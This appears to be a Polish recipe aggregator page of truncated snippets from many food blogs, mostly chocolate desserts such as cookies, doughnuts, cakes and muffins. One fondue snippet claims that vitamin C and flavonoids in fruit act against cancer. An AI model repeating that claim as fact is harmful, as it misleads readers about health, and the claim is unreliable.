Jeśli chodzi za Wami coś słodkiego, a nie macie za wiele czasu, to właśnie nadchodzi wybawienie. Kruche ciasteczka żytnie z czekoladą idealnie zaspokoją ochotę na słodycze, a ich przygotowanie zajmie kilka minut, resztę zrobi za Was piekarnik. Dodatkowo ciacha można napakować różnymi zdrowymi dodatkami - orzechami, słonecznikiem, pestkami dyni, suszonymi owocami. Dla każdego coś dobrego. Przepis pochodzi z książki Doroty Świątkowskiej(...)sztuk) - pół kostki masła (ok. 120g), - 1/3 szklanki cukru, - pół szklanki płatków owsianych, - pół szklanki mąki żytniej (można użyć razowej lub pełnoziarnistej), - pół łyżeczki proszku do pieczenia, - tabliczka gorzkiej czekolady, (opcjonalnie orzechy, suszone owoce - rodzynki, żurawina, morele) Przygotowanie: 1. Masło powinno mieć temperaturę pokojową, więc wcześniej wyjmujemy je z lodówki. Ucieramy je z cukrem do otrzymania puszystej masy. Można

two broke sisters
Domowe pączki z nadzieniem czekoladowym 113

rozwałkowujemy na grubość około 1 cm. Pamiętajcie aby jak najmniej przerabiać ciasto, im więcej wałkowane tym mniej wyrośnięte pączki. Do przygotowania nadzienia potrzeba nam: 1 1/2 tabliczki gorzkiej czekolady (polecam Wedel) 50 g masła 100 ml wódki 6 łyżek cukru pudru 4 łyżki kakao 1 czubata łyżeczka żelatyny  50 ml gorącej wody 220 ml śmietanki 30% Czekoladę rozpuszczamy(...)wolno jej zagotować bo straci swoje właściwości. Żelatynę dodajemy do ciepłej masy czekoladowej lekko studzimy i kolejno łyżkami dodajemy ubitą śmietankę. Po każdym dodaniu polecam wmieszać śmietankę w czekoladę, w ten sposób nie powinna się zważyć. Krem będzie gotowy, z czasem będzie gęstniał więc na czas smażenia pączków polecam wsadzić go do lodówki.  Pączki smażymy na oleju pamiętajcie

Kuba Gotuje
ciasteczka z płatkami kukurydzianymi i rodzynkami 171

miękkiego masła, albo margaryny 180 g cukru 1 opakowanie cukru wanilinowego 2 jajka 350 g mąki pół opakowania proszku do pieczenia 200 g płatków kukurydzianych 100 g posiekanej czekolady 125 g rodzynek My posiekaliśmy czekoladę bardzo drobno, ale można zostawić większe kawałki, ciasteczka będą jaśniejsze, ale czekolada bardziej wyczuwalna. Przygotowanie: Ucieramy mikserem masło, cukier i cukier wanilinowy. Następnie dodajemy jajka

KasiaiKrzysiu.pl
Ciasto "Gruszki z miodem" 123

ciasto miodowe wyłożyć po połowie masy śmietanowej i gruszkowej, przykryć ciemnym ciastem. Następnie wyłożyć resztę masy śmietanowej i gruszkowej, przykryć drugim ciastem miodowym. Polać polewą. Polewa: 50 g gorzkiej czekolady 50 g mlecznej czekolady 100 g śmietany 30% Śmietankę zagotować dodać pokruszone czekolady i rozpuścić. Polać ciasto

talerz przyjemności
Ciasto Maxi King 493

wstępie muszę napisać, że jest to bardzo słodkie ciasto Spód i boki ciasta tworzą herbatniki pomieszane z masłem, czekoladą i kakao. W środku same słodkości – mleczna masa, jak w torciku „mleczna kanapka”, przełożona masą kajmakową. Brzmi słodko? Bardzo! Jednak uwierzcie mi, reakcje na pierwszy kęs tegoż właśnie cudeńka były jednoznaczne : „obłędne!”, „najlepsze!”, „przepyszne!”. Mogę Was tylko zachęcić(...)jego przetestowania 3 godziny 16 składniki: spód ciasta: 250 g herbatników 100 g masła 3 łyżeczki kakao 1 czekolada mleczna z orzechami mleczna masa: TUTAJ znajdziecie przepis na mleczny krem. Powiększcie wszystkie składniki dwukrotnie, a wykonanie pozostaje takie same. dodatkowo: masa kajmakowa (400 g) wykonanie: Herbatniki pokruszyć bardzo dokładnie w malakserze. Masło roztopić, dodając do niego czekoladę oraz kakao. Masło

Ania i Marcin gotują
Churros 117

Churros to tradycyjny hiszpański wypiek. Sprzedawane są w sklepach, budkach i na ulicach. Można je jeść samodzielnie, maczane w czekoladzie lub oprószone cukrem. Ja zrobiłam z rozpuszczoną czekoladą. Moje łakomczuchy spałaszowali to wszystko w ekspresowym tempie, dlatego polecam od razu robić z podwójnej porcji. Jeśli jeszcze nie próbowaliście to koniecznie zróbcie. Pracy przy nich nie ma zbyt wiele. Składniki(...)pojedynczo jajka i miksować. Gotowe ciasto przełożyć do rękawa cukierniczego i wyciskać ciasto przez tylkę w kształcie gwiazdki na rozgrzany olej. Gotowe wyciągnąć na ręcznik papierowy. Zjadać maczane w czekoladzie lub obtoczone w drobnym cukrze. churros

O kuchni z uczuciem
Tradycyjna babka marmurkowa waniliowo - czekoladowa ( babka piaskowa) 797

szklanka drobnego cukru do wypieków ( 1,5 szklanki dla tych co wolą słodsze wypieki) 4 duże jajka pół łyżeczki ekstraktu z wanilii pół szklanki mleka 120 g gorzkiej czekolady UWAGA: Wszystkie składniki powinny mieć temperaturę pokojową.  Mąkę i proszek przesiać, wymieszać z solą. Masło z cukrem utrzeć mikserem do otrzymania puszystej, jasnej masy maślanej. ( ja wolę zrobić to ręcznie(...)wymieszać. Zmniejszyć obroty miksera i dodawać mąkę na przemian z mlekiem, miksując delikatnie tylko do wymieszania się składników. Można mąkę wymieszać szpatułką, bo wtedy raczej nie wyjdzie zakalec. Czekoladę roztopić w kąpieli wodnej, pozostawić do lekkiego wystygnięcia. Ciasto podzielić na pół, do jednej części dodać lekko przestudzoną czekoladę, wymieszać łyżką. Formę o wymiarach 29 x 11 cm wysmarować masłem

Calzonella.com
Muffiny czekoladowe 120

kakao 2 łyżeczki proszku do pieczenia 1/2 łyżeczki sody oczyszczonej 1 szklanka mleka 1/3 szklanki oleju + 2 łyżeczki oleju 1 jajko 3/4 szklanki czekoladowych groszków do ciasta lub pokrojonej czekolady 1/4 szklanki czekoladowych groszków do posypania lub pokrojonej czekolady opcjonalnie 1 łyżeczka esencji waniliowej WYKONANIE: Zaczynamy od wymieszania wszystkich suchych składników w misce: mąkę, cukier, kakao, proszek do pieczenia, sodę(...)ponieważ po upieczeniu zrobi się kluchowate. Następnie wkładamy papilotki lub silikonowe pojemniczki do formy na muffiny. Wypełniamy je do 3/4 wysokości ciastem i posypujemy groszkami czekoladowymi lub kawałkami mlecznej czekolady. Muffiny pieczemy ok. 20-25 minut w piekarniku nagrzanym do 200'C na opcji góra-dół. Studzimy je na kuchennej kratce. Smacznego

Calzonella.com
Ciasteczka owsiane z czekoladą i orzechami 145

CIASTECZKA OWSIANE Z CZEKOLADĄ I ORZESZKAMI ZIEMNYMI Te ciasteczka są nie dość, że pyszne, to i zdrowie i pożywne, a do tego proste w wykonaniu! Wystarczy wymieszać wszystkie składniki , uformować ciasteczka, wyłożyć na blachę i upiec ;) Polecam, bo są naprawdę banalnie proste i bardzo smaczne! Polecam przygotowywać je dla dzieci. SKŁADNIKI: 1 szklanka płatków owsianych 1 szklanka mąki razowej(...)pełnego ziarna 2/3 szklanki brązowego cukru 1 łyżeczka sody 100 g masła 1 jajko 1/3 łyżeczki aromatu waniliowego 70 g groszków czekoladowych lub grubo poszatkowanej gorzkiej czekolady 90 g grubo poszatkowanych prażonych orzeszków ziemnych niesolonych porządna szczypta soli, nawet pół łyżeczki 1. Wymieszać suche składniki: mąkę, płatki owsiane, sodę, cukier, orzechy. 2. Masło roztopić, lekko przestudzić i dodać do suchych

Calzonella.com
Gorąca czekolada daktylowa 153

się tak przyjemnie siedziało w ciepłym domu :) Wiosnę już chyba czuć w powietrzu, ale noce i wieczory ciągle są chłodne. To już także ostatni moment na przygotowanie gorącej czekolady, przecież w chłodne, zimowe wieczory smakuje najlepiej :) Rozgrzewa, syci, a każdy łyk sprawia, że robi się bardzo przyjemnie. Zapraszam Was dzisiaj na czekoladę daktylową. Przepyszna i zdrowa alternatywa dla tradycyjnego kakao(...)czekolady. Cudownie gęsta, aromatyczna, słodka. Doprawiona odrobiną cynamonu, smakuje doskonale. Polecam :) Jeżeli przygotowałaś/eś danie z tego przepisu, proszę o jego zdjęcie :). Wyślij je na adres konsek_ewa@o2.pl lub zostaw w komentarzu na facebooku. Fotografię opublikuję na facebookowym profilu Domowej cukierni Ewy :) Składniki: 1 szklanka daktyli 500 ml mleka 1,5 łyżki oleju migdałowego 4 łyżki kakao cynamon szczypta soli

Domowa cukiernia Ewy
Deser czekoladowy z kaszy jaglanej 176

Może taki deser to dobry pomysł na "przemycenie" kaszy do naszego jadłospisu?  (2 porcje) 50-60g kaszy jaglanej ( Skworcu ) 1 garść migdałów 4 daktyle  50g gorzkiej czekolady 3 łyżki oleju kokosowego (u mnie od Skworcu ) lub masła Kaszę dokładnie opłukać w zimnej wodzie (aby pozbyć się goryczki). Gotować (15 minut) pod przykryciem - w osolonym wrzątku.  Odstawić(...)moczyć przez około 15 minut. Migdały obrać ze skórki i zblendować z daktylami i kaszą jaglaną.   (Powinna powstać gładka masa.) W garnuszku rozgrzać tłuszcz i roztopić w nim czekoladę. (Uważać, aby się nie przypaliła.) Czekoladę połączyć z resztą składników. Deser przełożyć do pucharków. Podawać z bitą śmietaną lub posypany wiórkami kokosowymi

Di gotuje
Ciasto Rafaello bez pieczenia 437

sztuk herbatników, 2 szklanki mleka, 1 opakowanie cukru waniliowego, 3 łyżki cukru, 2 łyżki mąki pszennej, 2 łyżki mąki ziemniaczanej, 200g masła, 80g wiórków kokosowych, 1 tabliczka białej czekolady + 4 kostki do posypania wierzchu ciasta, bita śmietana i płatki migdałowe do dekoracji. PRZYGOTOWANIE: 1. Połowę mleka zagotowuję. W drugiej połowie mieszam cukier, cukier waniliowy oraz mąki. Masę wlewam(...)gotuję 2 minuty. Odstawiam do przestudzenia.  2. Masło ucieram na puszystą masę. Stopniowo dodaję zimny budyń. Ucieram. Na końcu do masy dodaję startą na tarce o małych otworach czekoladę oraz wiórki kokosowe. Ucieram. 3. Na blaszce układam herbatniki, jeden obok drugiego (3 szt x 4 szt). Na herbatniki wykładam 1/4 masy. Wyrównuję. Na masie układam kolejną porcję herbatników

Tradycyjna kuchnia Kasi
Domowe Raffaello 186

łyżek cukru pudru (w zależności od tego jak słodkie lubicie ciasto) 3 saszetki Śmietan Fix 60-70 g płatków migdałowych 60-70 g wiórków kokosowych 100 g białej czekolady 1 puszka mleka kokosowego Biszkopty (można upiec je dzień wcześniej) przygotowujemy według przepisu . Można upiec jeden biszkopt od razu z 6 jajek, ja wolę podzielić sobie go na dwie tury, dzięki(...)temu nie mam już potem problemu z przekrawaniem. Mleko kokosowe dzień wcześniej wkładamy do lodówki, dzięki temu będzie znacznie łatwiej rozdzielić następnego dnia miazgę kokosową od płynu. Czekoladę ścieramy na tarce o drobnych oczkach. Otwieramy puszkę schłodzonego mleka kokosowego i odlewamy kokosową wodę. Schłodzoną śmietanę kremówkę ubijamy na sztywno z cukrem pudrem i Śmietan Fixem. W osobnej misce ubijamy krótko

Ciastkozercy
Bezglutenowy chlebek bananowy z żurawiną i czekoladą 156

tapioki 30 g mąki kokosowej łyżeczka sody 80 g miękkiego masła 3 dojrzałe banany (lub 2 banany i łyżka miodu) 2 jajka łyżeczka cynamonu 2 łyżki kropelek z gorzkiej czekolady 3 łyżki suszonej żurawiny kilka orzechów pekan do ozdoby Piekarnik nagrzewamy do 180 stopni. Jajka ucieramy z masłem i rozgniecionymi bananami. Dodajemy wymieszane i przesiane przez sito mąki z cynamonem(...)sodą. Gdy masa będzie gładka dodajemy czekoladę i żurawinę. Mieszamy i przelewamy do keksówki wyłożonej papierem do pieczenia. Na wierzchu układamy orzechy lekko wgniatając je w ciasto. Pieczemy 35-40 minut w 180 stopniach ( do suchego patyczka). Smacznego :) Artykuł Bezglutenowy chlebek bananowy z żurawiną i czekoladą pochodzi z serwisu Mienta blog

Mienta blog
Delicja 199

jadł Delicji, ten musiał wychować się w jakiejś dziczy. Kolejność pożerania warstw ciastka to niemal symbol przynależności do pewnej grupy - albo tych, którzy zaczynają od czekolady; albo tych, którzy jako pierwszą obgryzają biszkopt; albo takich, którzy wolą w pierwszej kolejności wchłonąć galaretkę. A gdyby tak istniała wielka Delicja? Nie ciasteczko, a ciasto? Otóż, istnieje. Ps. To ciasto przygotowywałam na Święta(...)biszkopt. Pomarańcze obieramy, dzielimy na cząstki, cząstki obieramy z najmniejszych błonek. Lekko zastygłą galaretkę wykładamy na biszkopt i wrzucamy w nią pomarańcze. Składniki na mus czekoladowy: - 200 gramów gorzkiej czekolady - 1 łyżka likieru pomarańczowego (można pominąć) - 3 łyżki soku z pomarańczy - 30 gramów masła, w temperaturze pokojowej - 3 jajka, osobno białka i żółtka - 50 gramów drobnego cukru do wypieków

Życie zamknięte w smaku
Tort orzechowo-kokosowy 128

małe kieliszki wódki lub likieru kokosowego 1 opakowanie budyniu waniliowego z cukrem 400 ml mleka 200 g masła 60 g cukru pudru marmolada wieloowocowa Na polewę czekoladową 100 g czekolady gorzkiej 100 g czekolady mlecznej 50 g masła 150 g śmietanki 30% WYKONANIE Biszkopt:   Wszystkie składniki powinny być w temperaturze pokojowej. Orzechy zmielić. Piekarnik nagrzać do temperatury(...)stopniowo dodawać ostudzony budyń nadal miksując. Na koniec dodać ostudzoną masę kokosową i zmiksować do połączenia składników. Polewa czekoladowa:   Do garnuszka dodać masło, połamaną na mniejsze kawałki czekoladę i część śmietanki. Mieszając na małym ogniu roztopić i połączyć składniki, na koniec wlać resztę śmietanki i mieszać, aż masa będzie jednolita i gładka, po czym wyłączyć palnik. Polewę zostawić

Passions hobbies life
Ciasto porzeczkowa wuzetka 182

łyżki mąki ziemniaczanej Na śmietanę 500 g śmietany 36% 250 g serka mascarpone 1 opakowanie cukru waniliowego 1 łyżka cukru 2 śmietan-fixy Na polewę czekoladową 100 g gorzkiej czekolady 50 g mlecznej czekolady 25 g masła 100 ml śmietanki 30% WYKONANIE Biszkopt: Wszystkie składniki powinny być w temperaturze pokojowej.  Piekarnik nagrzać do temperatury(...)śmietany dodać serek mascarpone i zmiksować do połączenia składników, na koniec wsypać śmietan-fix, krótko zmiksować do zgęstnienia masy. Polewa czekoladowa: Do garnuszka dodać masło, połamaną na mniejsze kawałki czekoladę i część śmietanki. Mieszając na małym ogniu roztopić i połączyć składniki, na koniec wlać resztę śmietanki i mieszać, aż masa będzie jednolita i gładka, po czym wyłączyć palnik. Polewę zostawić

Passions hobbies life
Sałatka z malinami, sosem czekoladowym i olejem rzepakowym 148

garść migdałów Sos balsamiczno-czekoladowy 200 g malin 1 łyżka miodu 2 łyżki octu balsamicznego szczypta soli i pieprzu 2 łyżeczki oleju rzepakowego 1 łyżeczka kakao 1 kostka gorzkiej czekolady + kilka małych bułeczek olej rzepakowy Do garnuszka przełożyć wszystkie składniki na sos, z wyjątkiem czekolady, zagotować, cały czas mieszając. Zdjąć z ognia i zmiksować. Przetrzeć przez sitko (opcjonalnie, jeśli chcemy(...)uzyskać gładki sos), ponownie podgrzać, dodać czekoladę i wymieszać do jej rozpuszczenia. Odłożyć. Sałatę lodową opłukać, osuszyć porwać na mniejsze kawałki, wyłożyć na dno miseczek. Mozzarellę rozdrobnić, odrywając jej kolejne części. Skropić śmietanką, ułożyć na sałacie, delikatnie oprószyć solą i pieprzem. Dodać posypane cukrem maliny oraz zarumienione na patelni i posiekane orzechy i migdały. Polać sosem czekoladowym. Podawać z opiekanymi

Domowa cukiernia Ewy
Muffinki czekoladowe z oreo 294

takie na raz. Poza tym jest ich więcej, więc są bardziej podzielne. Dodałam je do muffinek oraz do kremu na bazie mascarpone. Dodatkowo do ciasta użyłam amerykańskiej czekolady Hershey's. Można je kupić w Scrummy.pl . Muffinki podane na Porcelana Bogucice z kolekcji Rodos Platin. Składniki: Ciasto: 250 g mąki pszennej typ 500 80 g cukru kokosowego bio 2 płaskie łyżki(...)kakao 2 łyżeczki proszku do pieczenia 250 ml maślanki 100 ml oleju 1 jajko 50 g czekolady mlecznej Hershey's 10 szt mini oreo Krem: 250 ml kremówki 30 % 125 g mascarpone 1 łyżka cukru pudru 1 łyżeczka ekstraktu waniliowego 8 szt mini oreo 12 szt mini oreo na wierzch  Przygotowanie: Ciasto: W jednym naczyniu wymieszać suche składniki. Mąka

Ala piecze i gotuje
O zajęciach w szkole cukierniczej. Część druga 155

się w głowie, a na co dzień starałam się zaimponować nauczycielom ze szkoły. Nieskromnie powiem, że kilka razy się udało.  Zacznijmy od czekoladek. Z Nielsem mieliśmy zajęcia z czekolady kilka razy w miesiącu; było temperowanie, rysowanie, aż wreszcie przyszedł dzień, w którym mieliśmy spróbować naszych sił w robieniu pralinek. Jeśli czekolada zatemperowana jest poprawnie, nie jest to wcale takie(...)trudne. Wylanie czekolady do formy, chwila na zastygnięcie, wypełnienie nadzieniem i zamknięcie. Ot, cała filozofia! Mieliśmy jednak sporo czasu i kilka fantazyjnych foremek, dałam się więc ponieść fantazji, i przygotowałam takie kwiatki: Usłyszałam, że wyglądają jak małe dzieła sztuki. Dusza fruwała mi z radości pod sufitem. Oczywiście zaczęłam od prostszych modeli, jak na przykład te serduszka: Flødekager to codzienność każdego

Pożeraczka, czyli raz adobrze
Fondue czekoladowe z owocami 133

Składniki (na dwie porcje) - 1 czekolada gorzka (ok. 100g), - 2-3 łyżki mleka (ok. 20-30 ml), - 2 plastry ananasa (ok. 160g), - garść winogron (ok. 70g), - szklanka truskawek (ok. 150g), - 2 kiwi (ok. 150g). Sposób przygotowania 1. Czekoladę z dodatkiem mleka rozpuszczamy w fondue 2. Owoce myjemy, kroimy w dowolne kształty i układamy na półmisku. Deser jest bogaty w: - magnez(...)pochodzący z czekolady), który pozytywnie wpływa na koncentrację, - witaminę C (pochodzącą z kiwi i truskawek), która działa przeciwnowotworowo, - flawonoidy (pochodzące z winogrona), które działają przeciwnowotworowo. Wartość odżywcza jednej porcji: Porcja waży: ok. 330 g   Energia: 415,0 kcal    Białko: 5,6 g    Tłuszcze: 18,4 g   Węglowodany

Zdrowe odżywianie w pięciu smakach
Chlebek bananowy z dodatkami 163

Dlatego od jakiegoś czasu piekę chlebek bananowy.  Jest pyszny i wielu znajomych chwali sobie ten przepis.  Jednak taki podstawowy trochę się nam znudził. Postanowiłam więc urozmaicić go czekoladą i suszonymi owocami. Oczywiście jest wiele dodatków, które bedą pasować do chlebka, dlatego eksperymentujcie! :)  Składniki (na  keksówkę 12cm.x24cm.) -3 dojrzałe banany -0,5 szklanki roztopionego masła -2 jajka(...)szklanki cukru -1 opakowanie cukru waniliowego (ok.5 gram) -1,5 szklanki cukru -2 łyżki czekoladowych łez, lub pokruszonej czekolady (ok. 30 gram) -2 łyżki suszonej żurawiny (ok. 30 gram) Wykonanie: Do miski wkładamy banany, pokrojone w mniejsze części i rozgniatamy widelcem, lub praską do ziemniaków. Następnie dodajemy jajka, ostudzone masło, cukier i mąkę, i dokładnie ze sobą łączymy. Żurawinę siekamy

Smakuj życie!
Serniczki czekoladowe 144

Spód: 100g kruchych ciasteczek 50g masła/margaryny Masa serowa: 250g sera białego 2 jajka 30g masła 40g cukru 200 ml gęstej śmietany 4 łyżki kakao (płaskie) 2 łyżki stopionej czekolady  2 łyżki soku z cytryny 1 łyżeczka mąki ziemniaczanej Polewa: 50g czekolady 2-4 łyżki mleka Ciasteczka zmiksować (np. malakserem; na drobno) z masłem/margaryną.  Przygotować masę(...)wyłożyć spodem ciasteczkowym oraz wypełnić masą serową. Piec około 25-30 minut w 160 stopniach. Ostudzić w piekarniku przy uchylonych drzwiczkach.   Po ostudzeniu polać roztopioną (z dodatkiem mleka) czekoladą. Udekorować wg uznania. (*) Mi wyszły 4 silikonowe foremki - widoczne na zdjęciu. Serduszko ma wymiary około

Di gotuje
Tosty francuskie w czekoladzie 116

family:Calibri; mso-hansi-theme-font:minor-latin; mso-fareast-language:EN-US;} Po raz kolejny na moim stole goszczą tosty francuskie w wersji na słodko. Tym razem w czekoladzie! Gdy pierwszy raz ujrzałem tę kombinację, od razu wiedziałem, że prędzej czy później będę musiał ją wypróbować! Oto i jest! Składniki: -> 6 kromek chleba żytniego -> 45g czekolady(...)dżem malinowy) -> Masło do smażenia Wykonanie: Mleko przelewamy do rondelka (najlepiej na dno dać odrobinę wody, dzięki czemu mleko nigdy nam się nie przypali) i dodajemy pokrojoną drobno czekoladę. Grzejemy do czasu, aż „sałatka z kakaowca” się rozpuści. Odstawiamy do przestygnięcia. Po upływie określonego czasu jajko wbijamy do głębokiego talerza, dolewamy mleka i wszystko ze sobą ubijamy. Rozpuszczamy masło

Jedz zdrowo żyj zdrowo!
Waniliowe babeczki z rodzynkami i żurawiną 163

www.facebook.com/Di.gotuje     http://digotuje.blogspot.com    Przepis pochodzi z moich starych zapisków i już niejednokrotnie z niego korzystałam. Babeczki wychodzą mięciutkie, puszyste i cudownie pachną wanilią. Czekolada idealnie łączy się z kwaskowatą żurawiną oraz słodkimi rodzynkami.   (7 sztuk) 50g masła 75g cukru 1 jajko 80 ml mleka 125g mąki    1 laska wanilii (można dodać cukier(...)waniliowy i aromat)   1 łyżeczka proszku do pieczenia 1/4 łyżeczki sody oczyszczonej 1 szczypta soli Dodatkowo: 30g rodzynek  30g suszonej żurawiny Polewa: 50g czekolady 3-4 łyżki mleka     Mąkę wymieszać z proszkiem do pieczenia.   Masło z cukrem utrzeć na puszystą masę. Dodać jajka, wanilię (laski wanilii naciąć wzdłuż i wyskrobać miąższ) oraz szczyptę soli

Di gotuje
Babka piaskowa w polewie czekoladowej 132

Pyszna babka piaskowa z sokiem z pomarańcza. Nawet całkiem smaczna wyszła. Polałam ja dodatkowo czekoladą i udekorowałam gwiazdkami. S kładniki: pomarańcza 1 duża 5 jaj 200 g ksylitolu Pol Kłos cukier waniliowy 30 g 200 g masła 300 g mąki pszennej łyżeczka proszku do pieczenia   Dodatkowo: czekolada 300 g mleko 3 łyżki  Wykonanie : Najpierw(...)pomarańcza. Ciasto mamy klejące i takie ma być. Przekładamy do formy prostokątnej wyłożonej papierem do pieczenia. Pieczemy 45 minut w 170 stopniach. Po upieczeniu i wystudzeniu polewamy czekolad a rozpuszczona z 3 łyżkami  mleka. Dekorujemy gwiazdkami

Różowa kuchnia
Ciastka z patelni (z czekoladą) 190

gotować. Rewelacyjny sposób na pyszne i kruche ciasteczka.  Nikomu nie przyszłoby na myśl, że są one z patelni. Smakują rewelacyjnie i dają możliwość eksperymentowania ze smakiem. Ja dodałam czekoladę, ale Wy możecie użyć ulubionych bakalii czy aromatów. (około 30 sztuk) 1 szklanka mąki pszennej 1/4 szklanki cukru pudru 1 łyżeczka cukru waniliowego 3/4 łyżeczki proszku do pieczenia 60g masła/margaryny 1 jajko Dodatkowo: około 40g czekolady (dodałam gorzkiej) Wszystkie składniki (oprócz dodatków) umieścić w misce i wyrobić do uzyskania jednolitej konsystencji. Na końcu do ciasta wmieszać posiekaną czekoladę. (Masa powinna być elastyczna i nie kleić się do dłoni. W razie czego należy dosypać mąki. Jeśli jest za twarda - dolać odrobinę mleka.) Ciasto rozwałkować na grubość około

Di gotuje
Sernik na spodzie brownie z musem czekoladowym 159

będzie gotowe, czyli sprężyste i dość zbite zostawiamy do przestygnięcia. Kiedy będzie już dość chłodne możemy przygotować mus czekoladowy. Składniki na mus czekoladowy: 300 ml śmietanki kremówki 30% 1 czekolada mleczna 1 łyżeczka cukru pudru (opcjonalnie) Śmietankę ubijamy do uzyskania sztywnej i puszystej piany. Czekoladę rozpuszczamy i przelewamy stopniowo do musu śmietankowego (uwaga - czekolada nie może być zbyt gorąca!). Można

aa-kuku - czyli jak żyć zdrowo i pysznie!
Gruszki gotowane w czerwonym winie z lodami waniliowymi. 119

Składniki (4 porcje): 2 szklanki czerwonego wytrawnego wina, 1/2 szklanki cukru, sok z 1/2 cytryny, 4 gruszki, 4 łyżki lodów waniliowych, 1/2 gorzkiej czekolady, Przygotowanie: W rondelku zagotować wino z cukrem, gotować przez 5 minut. Następnie dodać sok z cytryny i gruszki uprzednio obrane i podzielone na połówki, z usuniętymi gniazdami. Całość gotować jeszcze przez 10 minut na małym ogniu(...)Ostudzić. Podawać w temperaturze pokojowej z polewą czekoladową i lodami waniliowymi. Przydatne: Czas przygotowania 30-45 minut. Gruszki można zamiast polać czekoladą – podać na podkładzie z rozpuszczonej czekolady.   Smacznego

rozgotowana
Tiramisu 1158

szklanki mocnej kawy (może być więcej lub mniej, w zależności od tego, jak bardzo kawowe ma być nasze tiramisu)* 2 łyżki rumu (opcjonalnie) Biszkopt bez mąki (przepis TUTAJ ) Gorzka czekolada min. 70% (około 1-2 kostki) *można użyć kawy smakowej   Przygotowanie: Najpierw trzeba przygotować nasze ciasto – Oopsie. Najlepiej zrobić to dzień wcześniej, bo musi mieć czas, żeby ostygnąć. Dzień(...)połowę bitej śmietany. Następnie nakładamy na to drugą połowę ciasta – i znowu: nasączamy, nakładamy resztę mascarpone i resztę bitej śmietany. Na koniec trzemy na ciasto kostkę bądź dwie gorzkiej czekolady. Bądźmy hojni! Duuuużo czekolady, to wszyscy lubią ;) I żeby w żadnym miejscu jej nie zabrakło! Czyż nasze ciacho nie prezentuje się świetnie? ;) Tak, wiem, dużo przy nim roboty… ale zbieranie

Jak gotować i nie zwariować
Bajaderki piernikowe 163

korzennym aromatem piernika... bajaderki piernikowe... Inspiracja Składniki na około 20 sztuk: 400 g suchego ciasta, pokruszonego (użyłam tego piernika ) 120 g serka mascarpone 80 g nutelli 200 g czekolady, do obtoczenia 1 łyżeczka przyprawy korzennej 1 łyżka oleju Mascarpone wymieszać z nutellą i przyprawą korzenną. Kawałki pokruszonego ciasta dokładnie wymieszać z mascarpone i nutellą, tworząc dużą kulę. Zawinąć w folię(...)pomocy np. łyżki do lodów, uformować kulki. Ułożyć je na blaszce wyłożonej papierem do pieczenia (by nie przykleiły się do blachy) i schłodzić w zamrażarce przez kolejne 15 minut. Czekoladę roztopić z 1 łyżką oleju w kąpieli wodnej. Kulki wyjąć z zamrażarki. Maczać wyrobione kulki w czekoladzie, najlepiej nabijając na krótką słomkę do napojów. Układać na papierze do pieczenia, macie

Czerwień i błękit
Test czekolad - Biedronka 102

jury wybiera osoby, które znajdą się w gronie 1000 szczęśliwców. No więc tym razem mi się udało ! Przedstawiam Wam moją paczkę testera :) Paczka zawierała list powitalny i 5 wariantów czekolad mlecznych: - o smaku truflowym i śliwkowym - o smaku toffi i bananowym - o smaku mlecznym i truflowym - o smaku migdałowym i pomarańczowym - o smaku orzechowo-mlecznym i karmelowym Paczuszka jest super(...)małych i dużych. Mam w domu małą testerkę, więc zawartość nie pozostała zbyt długo nienaruszona. Sama zresztą też nie ukrywam, że jestem maniakiem czekolady. Każdy smak został przetestowany przez 5 członków rodziny i według naszych opinii najlepszy smak to: czekolada mleczna z nadzieniem o smaku truflowym i śliwkowym. Mamy nadzieję, że ten smak zagości na stałe na półkach sklepowych

kulinarnyswiatdomi
Piernik staropolski 151

naprawdę warto go zrobić na święta. Piernik piecze się 3-4 dni prze świętami, więc w święta nie zajmie Nam dużo czasu, by go zrobić... zostaje jedynie polanie czekoladą i posypanie posypką :) Przepis znalazłam tutaj   Składniki: 250g  miodu (u mnie z cynamonem), 1 szklanka cukru, 0,5 kg mąki pszennej, 2 jajka, 125 g masła, 2 płaskie łyżeczki(...)sody, 1/4 szklanka mleka, 1 torebka przyprawy do piernika Dr Oetker , 1/2 łyżeczki soli, 70 g marcepanu, 200 g powideł śliwkowych, 100 g gorzkiej czekolady, posypka kolorowa Dr Oetker . Przygotowanie:  2-6 tygodni prze świętami Do rondelka wlewamy miód, wsypujemy cukier, przyprawę do piernika i dodajemy masło. Podgrzewamy, aż do rozpuszczenia się składników. Odstawiamy do ostudzenia. Sodę rozpuszczamy

Aga w kuchni
Czekoladowa tarta z malinami i ciastkami Oreos 147

boki wysmarowane masłem. Obłożyć boki jak i dno formy, przydusić. Odstawić do lodówki Przygotowanie masy – w małym garnuszku podgrzać śmietanę, nie dopuścić by się zagotowała. Dodać pokruszoną czekoladę i delikatnie podgrzewać i mieszać, aż czekolada się rozpuści. Odstawić na chwilkę do przestudzenia, następnie wylać masę czekoladową na masę z ciastek. Obsypać świeżymi malinami, lekko je przydusić. Odstawić na kilka

Kuchnia Pokoleń
DESER STRACIATELLA 138

zapraszam na słodką chwilę z przepysznym deserem Straciatella. 0.5 litra mleka 2 łyżeczki cukru trzcinowego 1 opakowanie budyniu czekoladowego 1 łyżeczka cynamonu 250 g.kremówki 30% 4 kostki gorzkiej czekolady lub kakao ******************************************** Mleko , cukier i proszek budyniowy ubić trzepaczką, po czym wlać do garnka i zagotować do zgęstnienia.Połowę masy budyniowej wlać równo do 4 szklanek.Resztę budyniu połączyć(...)cynamonem ,ostudzić.Ubić kremówkę , połowę wymieszać z resztą budyniu i wyłożyć jako drugą warstwę do szklanek.Czekoladę zetrzeć .Do pozostałej bitej śmietany dodać Czekoladę.Krem wyłożyć do szklanek jako trzecią warstwę deseru.Każdą porcję udekorować pozostałą czekolada lub posypać kakao.Smacznego

Kocurkowe rozmyślania w kuchni Anielki
ZIELONE MUFFINKI "BOUNTY" raz jeszcze - modyfikacje 231

natomiast ostatnio robię z mlekiem kokosowym albo wodą z dodatkiem 1 dużej łyżki stałej części mleka kokosowego i z nim ciasto wychodzi naprawdę najlepsze, jeszcze bardziej kokosowe. Druga rzecz - czekolada do polania - na początku polewałam muffinki pasmami czekolady, potem zrezygnowałam z niej i wolałam takie zupełnie bez niczego, natomiast teraz jest faza druga skrajna czyli cała góra porządnie oblana czekoladą

Wegański blog WSZYSTKO JEST W GŁOWIE
Piernik z wiśniową galaretką. 151

